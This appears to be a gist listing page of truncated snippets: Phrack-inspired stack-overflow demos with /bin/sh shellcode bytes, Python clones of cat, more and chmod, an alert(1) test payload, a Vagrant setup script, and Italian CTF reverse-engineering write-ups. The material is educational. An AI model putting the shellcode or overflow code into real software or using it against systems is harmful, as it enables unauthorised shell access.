This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int | |
main () { | |
__asm__("l:\n\t" | |
"jmp ll\n\t" | |
"lll:\n\t" | |
"popl %esi\n\t" | |
"movb $0x0, 0x7(%esi)\n\t" | |
"movl %esi, 0x8(%esi)\n\t" | |
"movl $0x0, 0xc(%esi)\n\t" | |
"movl $0x0, %edx\n\t" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// You need to compile this passing `execstack` | |
// to the linker. Via cc, `-z execstack` | |
// Code "inspired" by http://phrack.org/issues/49/14.html | |
int | |
main () { | |
char shellcode[] = | |
"\xeb\x2d\x5e\xc6\x46\x07" | |
"\x00\x89\x76\x08\xc7\x46" | |
"\x0c\x00\x00\x00\x00\xba" | |
"\x00\x00\x00\x00\x8d\x4e" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// "Modernize" code @ http://phrack.org/issues/49/14.html | |
// $ cc -m32 -g -O0 overflow1.c -o overflow1 -z execstack | |
#include <string.h> | |
char shellcode[] = | |
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
char large_string[128]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import sys | |
def _help(): | |
res = """Usage: cat [OPTION]... [FILE]... | |
Concatenate FILE(s) to standard output. | |
-E, --show-ends display $ at end of each line | |
-n, --number number all output lines |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import sys | |
def _help(): | |
res = """Usage: | |
more [options] <file>... | |
A file perusal filter for CRT viewing. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import stat | |
import re | |
def _help(): | |
return """ | |
Usage: chmod [OPTION]... MODE[,MODE]... FILE... | |
or: chmod [OPTION]... OCTAL-MODE FILE... | |
Change the mode of each FILE to MODE. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alert(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
aptitude update | |
aptitude -y upgrade | |
aptitude -y install vim build-essential python-dev python-pip git | |
aptitude -y install gdb | |
sudo su - vagrant # <<< This is not working. Pretty useless by now. | |
mkdir -p /home/vagrant/.vim/autoload /home/vagrant/.vim/bundle && \ | |
curl -LSso /home/vagrant/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# rev1, Giuseppe Crino', 18 Novembre 2015 | |
## Chiave | |
La chiave e' `linustorvalds`, infatti | |
$ echo "linustorvalds"|./rev1 | |
* password: | |
Hai vinto! | |
## Come e' stata individuata |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# rev2, Giuseppe Crino', 18 Novembre 2015 | |
## Chiave | |
La chiave e' `richardstallman`. Infatti | |
$ echo "richardstallman"|./rev2 | |
* password: | |
Hai vinto! | |
## Come e' stata individuata |